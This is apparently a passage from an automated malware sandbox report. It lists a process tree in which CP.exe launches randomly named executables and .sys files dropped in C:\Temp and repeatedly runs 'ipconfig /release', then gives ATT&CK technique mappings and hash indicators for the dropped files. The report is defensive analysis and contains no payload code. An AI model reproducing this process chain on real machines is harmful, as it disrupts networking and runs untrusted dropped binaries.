  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5000
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:4204
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_pjhczurmke.exe ups_ins
  2⤵
  PID:3492
- - C:\Temp\i_pjhczurmke.exe
    C:\Temp\i_pjhczurmke.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6092
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\omgebwuomg.exe ups_run
  2⤵
  PID:2120
- - C:\Temp\omgebwuomg.exe
    C:\Temp\omgebwuomg.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:616
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5696
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:1244
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_omgebwuomg.exe ups_ins
  2⤵
  PID:5388
- - C:\Temp\i_omgebwuomg.exe
    C:\Temp\i_omgebwuomg.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4480
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\bwuomgezwr.exe ups_run
  2⤵
  PID:1936
- - C:\Temp\bwuomgezwr.exe
    C:\Temp\bwuomgezwr.exe ups_run
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2136
  - - C:\temp\CP.exe
      C:\temp\CP.exe C:\windows\system32\ipconfig.exe /release
      4⤵
      PID:5052
    - - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        5⤵
        Gathers network information
        
        PID:2920
- C:\temp\CP.exe
  C:\temp\CP.exe C:\Temp\i_bwuomgezwr.exe ups_ins
  2⤵
  PID:1560
- - C:\Temp\i_bwuomgezwr.exe
    C:\Temp\i_bwuomgezwr.exe ups_ins
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2412

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1580

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1192

C:\Temp\gecwuojhez.sys
C:\Temp\gecwuojhez.sys
1⤵
- Executes dropped EXE
PID:1580

C:\Temp\jgbztrojhb.sys
C:\Temp\jgbztrojhb.sys
1⤵
- Executes dropped EXE
PID:2472

C:\Temp\gbytrljeyw.sys
C:\Temp\gbytrljeyw.sys
1⤵
- Executes dropped EXE
PID:4460

C:\Temp\vqoigayvtn.sys
C:\Temp\vqoigayvtn.sys
1⤵
- Executes dropped EXE
PID:2548

C:\Temp\nlfdxvqnif.sys
C:\Temp\nlfdxvqnif.sys
1⤵
- Executes dropped EXE
PID:5008

C:\Temp\fdausqkica.sys
C:\Temp\fdausqkica.sys
1⤵
- Executes dropped EXE
PID:4124

C:\Temp\vpnhfcaxsq.sys
C:\Temp\vpnhfcaxsq.sys
1⤵
- Executes dropped EXE
PID:1628

C:\Temp\hfzxrpkhca.sys
C:\Temp\hfzxrpkhca.sys
1⤵
- Executes dropped EXE
PID:5276

C:\Temp\ecwuomjhez.sys
C:\Temp\ecwuomjhez.sys
1⤵
- Executes dropped EXE
PID:3420

C:\Temp\rmjhbzwrom.sys
C:\Temp\rmjhbzwrom.sys
1⤵
- Executes dropped EXE
PID:1560

C:\Temp\bztrljdbwt.sys
C:\Temp\bztrljdbwt.sys
1⤵
PID:1372

C:\Temp\dywtolgebv.sys
C:\Temp\dywtolgebv.sys
1⤵
PID:1948

C:\Temp\dbytqkidav.sys
C:\Temp\dbytqkidav.sys
1⤵
PID:1004

C:\Temp\nigaysqlid.sys
C:\Temp\nigaysqlid.sys
1⤵
PID:2480

C:\Temp\pnhfaxvsqk.sys
C:\Temp\pnhfaxvsqk.sys
1⤵
PID:628

C:\Temp\usmkicausm.sys
C:\Temp\usmkicausm.sys
1⤵
PID:2152

C:\Temp\omhezxrpjh.sys
C:\Temp\omhezxrpjh.sys
1⤵
PID:5088

C:\Temp\zxrpmgeczu.sys
C:\Temp\zxrpmgeczu.sys
1⤵
PID:952

C:\Temp\bztrljebwu.sys
C:\Temp\bztrljebwu.sys
1⤵
PID:1628

C:\Temp\geywqojgby.sys
C:\Temp\geywqojgby.sys
1⤵
PID:5432

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CP.exe

Path C:\Temp\CP.exe
Size 4KB
SHA256 50b00a0816849edcc24eec9cfdd5443dbf33409ae05ee84202bfbcd00094485a
MD5 00d08d31f0ca0be125aa8ddb1c068a26
SHA1 c5e5cf5c0cb8a03c9146f5cd923cd620417eb75e
SHA512 6b5fe5899aa47239b53bc8dbd5ce6d9616ed2b0480fe55c34c27d6956f792a9c0796fe0dcd8949395284c3f5c59563efe333cc3e4e449fa9e9b7c219c88242a3
SSDEEP 48:i+HOtYCgTU534sKXG5BrBfdQSBe2nLB8JsU:fOWS3tpJ5un
TLSH
T11B912E2301A68472C8BD8FF711875AC9FABB51349322210C4BF70ED6EB70AB7446CB08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gbytrljeyw.sys

Path C:\Temp\gbytrljeyw.sys
Size 141KB
SHA256 af1052055da7f5ad7ad09e45557eed73f295ada70647058ffb7875c0d2d43315
MD5 74ffc31b51febf871d3eb1445ccf4fb3
SHA1 f6faef800e42fdc8ce1c12a7e03a8f622d5d1700
SHA512 1cf16852ec63d1288165d36b58c031fcb0f0607cba38b0759b552543bd72f3fed2a256a0f81e4f91a96736b65fff04f1a6b6e07279e791c8580c804b821c31cb
SSDEEP 3072:1sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:1sQmpcF8BzXfwV
TLSH
T185E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gecwuojhez.sys

Path C:\Temp\gecwuojhez.sys
Size 141KB
SHA256 1b0d122e76206ecb8beba9fca3355d84eea65284aebc713eea1a333149326cb5
MD5 1cd7f5fb9ad96f609e3ac0be0826089e
SHA1 cc309ab7506eee7146ee143e08b8fe2fcf2f1ff7
SHA512 47ce1e525285e9149c4a94af87b12a8b1f4d6cb2d7efcab5cb211c35acee8e29f38d705b18806696c98eb04ba58d5cfbd1a1a327b5b9b93e733c2dfe4460a0d1
SSDEEP 3072:3sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:3sQmpcF8BzXfwV
TLSH
T181E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_kigaysqlid.exe

Path C:\Temp\i_kigaysqlid.exe
Size 230KB
SHA256 8f10f2545346084f186b9e0cc33840f7a9adf8a9f5a0af99e79ca0375170bbcc
MD5 3a3a599ae4c166ec8e750f629638bc7b
SHA1 36f6f19a92c5b7b403c68c71a63fb26d1255958a
SHA512 3042278725a5feb37394dd1a961600f212fe2b65b22777f707eaa714db0278dc7726f87e96d488054ad8f31b35ea48e6bc6897beae8c5ac4687fa983ac0ceb0b
SSDEEP 3072:5JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:5ghLQ0sQmpcF8BzXfwVfAI
TLSH
T1BD344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mhfxsmkezu.exe

Path C:\Temp\i_mhfxsmkezu.exe
Size 230KB
SHA256 2e8c30411244f33a160e87b195fed2a7114047afe7e8ddc827d1d1975a2ac3f7
MD5 c81b5f24c38342f17a885b07c2a4a9c7
SHA1 b869bdba60aeafc8c029e32a9608ad2efb7fe25b
SHA512 cf99718111fcb33f605c2705ae2bd2f0b42314d0f77d54e443ae6bd97f67fdb0a3876fa1c3ba9d125f7cdc1da6662a39177985bbff0e96424f0a501fbaee0c12
SSDEEP 3072:yJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:yghLQ0sQmpcF8BzXfwVfAI
TLSH
T199344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qlidbvtnlg.exe

Path C:\Temp\i_qlidbvtnlg.exe
Size 230KB
SHA256 52da2e1ec8feb7193c7f81a3f5404ab7f890d6737ab9a150e721b412d6c10afc
MD5 271371fa36b03a3dffa2b56c736f7fa3
SHA1 e503603d0bc763ad9400f139e662c361739a8e78
SHA512 01438bb1dc664269a3179670c4af60337949988382909867a99cdf400f7b43e661e07e19ffa8188c7d5906aac0664abc3d613d48d5f221b62e327d4b839c3e24
SSDEEP 3072:FJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:FghLQ0sQmpcF8BzXfwVfAI
TLSH
T1B1344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_tqljdbvqoi.exe

Path C:\Temp\i_tqljdbvqoi.exe
Size 230KB
SHA256 ffac4ab620799a4744b6c97515fb927f15bf8db054437f76d0a49ecd71b93286
MD5 01ec479a63c57738df9b52a18cabae21
SHA1 b1aec2d745eb850402da1707226901e52e5bbd47
SHA512 ebe4ccc7379b6078f1d9c9ba36f0ca97423195acde915c25074ca3f61cecf0ddbe24ce000b7c6dc965694626e808607fe439d0e17b83b6812ce7144a1d7ad2ce
SSDEEP 3072:uJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:ughLQ0sQmpcF8BzXfwVfAI
TLSH
T137344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_wuomgeywro.exe

Path C:\Temp\i_wuomgeywro.exe
Size 230KB
SHA256 07e52563e17e569fb66bbcb0fe84606b25770ae2b35dcc576e39e5b958402f76
MD5 373e3371a7c0460b09a846cde086350d
SHA1 d780fb088d69079ccda568712fc4c63f04ebad17
SHA512 96c45e9f3a7fb90bc76ef2f3dbac6a3806aedcc7f3fdb6833c4435633de8ac4aca89c7da6f8442cf656d4d1f57b768eddd73970a9feddf4ee4bbc7b673e6a777
SSDEEP 3072:CJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:CghLQ0sQmpcF8BzXfwVfAI
TLSH
T14C344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ywqomgeywt.exe

Path C:\Temp\i_ywqomgeywt.exe
Size 230KB
SHA256 36e856789c863d70a19494ec16ed3943339a3e60950efb0b8ebb20dfe3f3c45f
MD5 5042eaf9e11cc54554434db43a34c691
SHA1 07412f8e25e0efa57033ef2fcab66c3e0923da27
SHA512 060cea6e73ff54f33fcec9723105770db777aa4a638c0f7b64c1d8a55a0c4108b4c8635f65f37f3007fb1e47951d34524f62770b22f5236e4b21517676c367b4
SSDEEP 3072:TJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:TghLQ0sQmpcF8BzXfwVfAI
TLSH
T11D344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jgbztrojhb.sys

Path C:\Temp\jgbztrojhb.sys
Size 141KB
SHA256 c2e382833d5b2295b183ad4c07e3b177b84093f2e0ab1e303cde444c20cb31dd
MD5 be3f0443ec354f8a374bacfe80d23873
SHA1 23e03647d07a0e239750de4e0aeb471fb20a1056
SHA512 9b6023e8a3f950e524f4ff20df99a18a1e95d0be5638388acb0d5e1323bbea5ffb315b1b58a12baa2c71e0d55d87f1ecc3bb157e9a6b5eae6f3524dc15b02548
SSDEEP 3072:ysQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:ysQmpcF8BzXfwV
TLSH
T1E3E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B93531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kigaysqlid.exe

Path C:\Temp\kigaysqlid.exe
Size 230KB
SHA256 d4319ae97b4db763a88969e9e617d10849efc2ee8489c41f77d86325c1488535
MD5 0f9eb1ba8ca37f2901ca505d888d32e1
SHA1 6012622d8b30402f907c800b31ee009211d5ed0a
SHA512 0cefc159093279bcb103bb2ff88df71f2db7064a7d3b308f5e2f4a755f217bfbdf93ee170ad1293609d0996beeeacb64722c6f1a0646af333c460f3963cef2e8
SSDEEP 3072:6JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:6ghLQ0sQmpcF8BzXfwVfAI
TLSH
T184344A1272808071E7550B78046AE7A14A7E7D344BA5E68FF7A43F7A5E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mhfxsmkezu.exe

Path C:\Temp\mhfxsmkezu.exe
Size 230KB
SHA256 f9f5749c1eea457339572d7762ecd0fef88180463e8194b388ed0a7e4b161a22
MD5 2cfc853474c5dbedd96b4e2369d8e2e1
SHA1 0267d75aeadd000b87b48075f4f6e35074a1d73f
SHA512 96576196eae12d8ea4c66043770f87c535906d036d4656fd5eb123f28a8d1fcf58bc327ad1a45bbeb05b370d1a065e54fd5314b051dd766f042329dd7af9ed4d
SSDEEP 3072:TJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:TghLQ0sQmpcF8BzXfwVfAI
TLSH
T19A344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nlfdxvqnif.sys

Path C:\Temp\nlfdxvqnif.sys
Size 141KB
SHA256 ea2a2e1b6e3067832e2b7793f81e733104b116b0370b20642d1390e75bdc8e87
MD5 14c56d42ac9329963b11b9dcefc351e6
SHA1 5cd65673da183212e87b037677a15606892f1acf
SHA512 fb4cbed1880fa52ca916f3475d70f84122710f1da3141dfd8d2231cea98911004c6283f621a38ab12064c59d08aec08d9be98ff9351ac960f7f1caa0520f9d66
SSDEEP 3072:CsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:CsQmpcF8BzXfwV
TLSH
T1B6E38D12B2D1D172E8A618BC106AC72196BE79304F76D9C3FB950BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qlidbvtnlg.exe

Path C:\Temp\qlidbvtnlg.exe
Size 230KB
SHA256 5db0947b4d1f7d5a9c81a88561bf053db2b91e43c14f274f91c0003b79186e35
MD5 4cf352173e92d0bc280462ae63d9eefe
SHA1 a0d6c045b922bea0db3703b2789b4089258f5705
SHA512 88340cf4a331958009f645d3b7f47face8f99a0814b3f8b6f0824f3cb28e536998461bcb434909003bbdf97e9469dc975579611be982de66cf5dcd51febdbb25
SSDEEP 3072:8JWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:8ghLQ0sQmpcF8BzXfwVfAI
TLSH
T13A344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tqljdbvqoi.exe

Path C:\Temp\tqljdbvqoi.exe
Size 230KB
SHA256 5d673df7de5874c47ba61aa133440687c3e67e426d46e06eed098e1711921b0c
MD5 b8fa812e2bd744a5bc41b7f858511fef
SHA1 94ba88b02513c56c18d1043ee2d76058ec578e00
SHA512 1cd9344c44e8922f12d11ce70259511690f4b2dff463b141105e73027e5bc1b23a0c8136b34fcaa59456671b7625e40a5ae002c10b99039eb82ab093eaf8766c
SSDEEP 3072:cJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:cghLQ0sQmpcF8BzXfwVfAI
TLSH
T1E7344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vqoigayvtn.sys

Path C:\Temp\vqoigayvtn.sys
Size 141KB
SHA256 904ad0fa6f4468787bb529fd0435fc335622ffa9ee2e00861fd65b7be1798501
MD5 a81418a2a154657bd7e3ff53a162fec4
SHA1 306e5066edcdfeaa6ee56ce4c0d6ab05ee6786c2
SHA512 32b3e2fde26c0d34c0350ea1d72dfe6ed7ceae634789a53367245d7aab79e770359b075cc126523ca57ef5626896684d8ee91f4cd2cc677a862a588f72df5208
SSDEEP 3072:+sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZ:+sQmpcF8BzXfwV
TLSH
T183E38D02B2D1D172E8A618BC106AC72196BE79304F76D9C3FB940BAD5E683D0B83531F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wuomgeywro.exe

Path C:\Temp\wuomgeywro.exe
Size 230KB
SHA256 b3a3260947c00385a194607b5cdb576fef681a23188202e032258f1fa3401a90
MD5 e79c634dc355782ffa86d85f54d29af3
SHA1 2caf7e057fb858dfa0e28608df65489e7f59a94c
SHA512 62a969da432c610be7d14e597888978b446e3b0ee0d52b6109790a930833b2f77ea984cb9a5ba397f3d01c738218b58042a26f90767b75d8074b38cf60e9ddc5
SSDEEP 3072:ZJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:ZghLQ0sQmpcF8BzXfwVfAI
TLSH
T17A344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywqomgeywt.exe

Path C:\Temp\ywqomgeywt.exe
Size 230KB
SHA256 b51b307539781e8806a514cbdb2f7b59e4253f278799c978a2909e21e22215e7
MD5 8a7e978a1d23e7dfb550dfc746ffcdd9
SHA1 ca33c5fccf13823e86cfd89ca3739ab1570c083f
SHA512 91c98787a941372b5727c80697248bb8cc82b850b4f7a86ffe9a71c0e6873e095ee20541a2db88ae236e141b6ffdf4b6b2135e07ce8b4acc14f57f9d842113d9
SSDEEP 3072:HJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:HghLQ0sQmpcF8BzXfwVfAI
TLSH
T193344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 9e9a80f6c421414a8b66bf8507c53a0c4ffeb5ba8b94b60ab018ba461aa97acd
MD5 7d69ac67ab7824947bec495abe90ec4a
SHA1 a3c132aa3f49dcdcce56c4c6968c36937f0281d6
SHA512 96cc53c1ea47adf6bf5c07be3692a428e441878e2f62d51e8f602bd99412a2004cb5f7f97f8d380a16d29844233c2d6b1a7141b6130f93761e62ba2cb077211d
TLSH
T151D09B9672258914CDC03572745452696766C53055094A465441B678CC556F3C51B1AE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 33c6e6bae4ee9250332fc0a0b2e5c986f8eb2deb7cfb0ec751d4103398239b4c
MD5 74727b4352a31c683cbe2509206d5bb1
SHA1 9cf653b0f525a7c883fb4a377664b4e16e5557f8
SHA512 9adea13063f4c2028e884bd6c48340080dd142efb6412a6eaced0704a4106259503e51aa0760da81e53710d62c167935e2cb0c8a9f4f9e7b7e210cbbbb7e4c70
TLSH
T19CD022A232388808CEC0303230A082A8A322C030000A0A0A0080FA38CC80AF3C20A0AE
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 4412957a39cb7e3c9f7e82c4efb7bd3145987966c7c031a01463a19e3d133f9f
MD5 2b74143ff0644c6035f8ededc0ba6aa7
SHA1 44f6d8d553844736d76d236abd30e8e817de7f09
SHA512 16d8dee6ce7a8ef46b1683afafba9abb69ed6ca2b79937287b7603b36b2022af01bf836d8ada047118e1e6ab1a228f2e89b6be24598fd2b2e142e001e7d60e42
TLSH
T13D610A581A360BD2C7397FFBA9D220BDBF75550A016BAD0670C4E93ADC0A387C417572
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59710f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59710f.TMP
Size 3KB
SHA256 29617fd2d2c2ec3e185db5300044903e3d5b9d59f533fd6c6bdda9ab8ac32734
MD5 8feda52313f8509f3ef6b1e38b926532
SHA1 fa2e7df96dca184257217edbdef5ebbddd6dd9f1
SHA512 df9837896dd1028a6ea15c8f1f5f68362913ec76c3fbb7d2d5e7398973ee0733b9914f895a47b5e683c7bdb261569beb5c2cedf449c414efdd1e2021e5d36b75
TLSH
T10A610B581A320BD1C7397FF7A9D210BDBF74550A016BAD0674C4E9369C1A387C413572
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 a12c718645659ad23279dd1ae7a56c938fa5b511c5c23122d38eb76c9d5d92ce
MD5 d2649311f7431d12be193d45df191d0f
SHA1 4536458a216e78d54dbc28d39b3ff5188ed78e5f
SHA512 6b6c43fda7e92ddab463b2a65601d114c10ae7087a046c3e4ecaf82798db6fe09bc5f3ef7dd05bd1f1324605f2c882f2820169678baee07a7e24c933a5ffb9c0
TLSH
T15751BDF3C3E8966EC91156F0BA187E2BCE1D0915832C3D5AC9E4EF1B93E2471E141A5E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 306bca1cb7f4f410552c959d3f88ce691a04c8b27c3a70be13148574851bcfba
MD5 6bdf0d6963702de033766df473bddb0f
SHA1 fa041864447371eaf6dc14b12255591dbd096c57
SHA512 f7353dd80eb91c5b036b305fda0fcae1e122dac717f19fdcc466ccaa9b9ee9e5fb9f9dd3ebe90cae8caf07ec19110b81c2546ae0498adc0b8e1ced8ff568d80c
SSDEEP 192:sxRuRHyM/jK1Ml8wCz/fRsfMjJfZCeU2zoA8pi/g6+WNIYV58G/IgtJ:sxRux8z/fRsfMFBCeUri/5Io3
TLSH
T1B152D8156A3499778CDBD20CFA957F53D6F81563A2901E44AAFCCB0C01E7AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 440efd0ff3101af812d21f9c5c17dba87743fe5541689f7888173d8363ef822b
MD5 a89ce071bd17a88aa0d97b1e32b9e48d
SHA1 ce44235af81f05b1847df9e32e15e6c1034c97c2
SHA512 e2493e0ca4880c2ac2907f2d6dca83022afca70857cb7e7b3388d383fdbad2fd5cdd0d144efb49a12cc16578d16f44704f9a45ace7367ba6661fe396efd3e9cf
SSDEEP 192:sxRtRHyM/jK1Ml8wCz/fRs6MjJfZCeU2zoA8p9N/g6+WNCVJ/YVc8G/IgDCJ:sxRtx8z/fRs6MFBCeUrX/5C/5C
TLSH
T1CF62EA156A3499778CDBD20CFA957F53D6F81563A2901E44AAFCCB0C01E76ED621382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 0f896b3e8b85904cb1b25b75a2106c2ffda3dc17a463a72185ce3dc664ca7c4b
MD5 cefc7fcaa10726677c51642220bb35ab
SHA1 72120c42e6198ece295b62f82edf5d2e4f7479bd
SHA512 4cd1720f54b4da397af276284c4c8c4878ffca28851d45199ceef8d750122d99ca306e98792771dbb783f6ea92bb3c7f934240671293cbaff152ab7050d7420b
SSDEEP 192:sxRtRHyM/jK1Ml8UQkCz/fRs6MjJfZCeU2zoA8prN/g6+WNCVJ/YVS8G/IgDCJ:sxRtxqzz/fRs6MFBCeUrB/5C/9C
TLSH
T1B762E9166A3499778CDBD20DFA957B53D6F80572A2901E44AAFCCB0C01E76ED621382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 86fade7814ee6ef5f6613092e67059ccb7ffd064277977b4b6aec9d3287e27d3
MD5 1c242edec42c708d8900d39440d3111f
SHA1 9c8c82d567a28ee71b433daeaa5fe702ecb1c0ad
SHA512 ba5246039b14ee81762973a6ad3a3632a3e766a3b30aa14fdd5623f31896c3fed71274561e2628c61538d0e551a84af71fb34970864c54dc148de551f65906d6
SSDEEP 768:7Oo6Hm7pLuL73mWg/zfmj8F1+UoAYDCx9Tuqh0VfUC9xbog/OVEu+ypYGro0ojyX:7Oo6HGE73mWg/zfmju1jaTu+wY90xf
TLSH
T14FE2EC2B680CCB7F4F404A9CED2A7E9AADA801CF56D8C95447FA880C03C67EB51165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b2994b00-c693-42ce-ae91-6bbc24fe2f09.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\b2994b00-c693-42ce-ae91-6bbc24fe2f09.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

